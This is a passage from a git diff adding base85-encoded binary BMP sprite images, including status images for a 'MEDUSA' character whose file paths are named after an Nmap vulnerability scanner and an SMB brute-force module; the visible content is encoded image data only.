zE`Wa+{)iP61pNYTp(7w401bWJw$?Yh3syCt*PsBTg|hD1>A$?^52gOWMIiC&HHJud zpd!1d1T|M_Mm{KZllRU3UE0>#rZSsYW^Osys)CiirGKrtYu(z!%G1;iv;)GwR{>W( z%?fUUpNJF%rP~MA-*m13kzf!ra>|uiMYh(#3j38|bzzwek3ybByzsVrMwp7Dp}hJt0zbieU1M%yT8NanxV*llXKQlr3SaaZ$0-UiS@JbJ#dWVsA zY@#=HFaESYpJl!7KiIQ4>shIAi?45PEu3P&XnI(C=!(dJ4cu3%=P!&4m=;B7SW!_a zYiP{!Ic92nN`Qhn8W!@WprF7FSV1YU3zcT)cQLd$I72UAU|x3gGd(2keAD(9I{lSZ zE3%4Mu_^l()aVL+xA+ z&(2F~o(q$*&5r-;r1?hO{cDB55eqK?V_W~|#@3FxqP7$}@9e}h5P3sa`U2L=Nv^N` z9UnE5ySd%!=8gitOnyq{&6@%xzdBs+xq{uHCOW3;o4Y#Vin3gS^OLie0zW_b{;J6@ zVEr(B!U;m*Iv!dR_QB{pOqh3&g?4%>V!Z literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner7.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner7.bmp new file mode 100644 index 0000000000000000000000000000000000000000..2742da4c381c5dbe14a1f7cab7351947c3403be3 GIT binary patch literal 18462 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce1.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..378babe74387fedc1ec45ec6fec4d4f296a7d7e0 GIT binary patch literal 18462 zcmd^`2Xqt1-u6wgjlnkVy*Ih4*Oj#DyIOU*_in09u>pg-B=1qnBtcL!-*wSy(c#H9$Rpyh$9O&vkxD?lc*B@yA>)ns(I)1#X8)W{z3tR#cxWJJ^D|!yE?K!r- z=fsxYGoSSR{%wEv*?axngM;^9jQfRH@7_3n^URK(V{cqPw5$g}9D2Ry;PM{4YAYXV 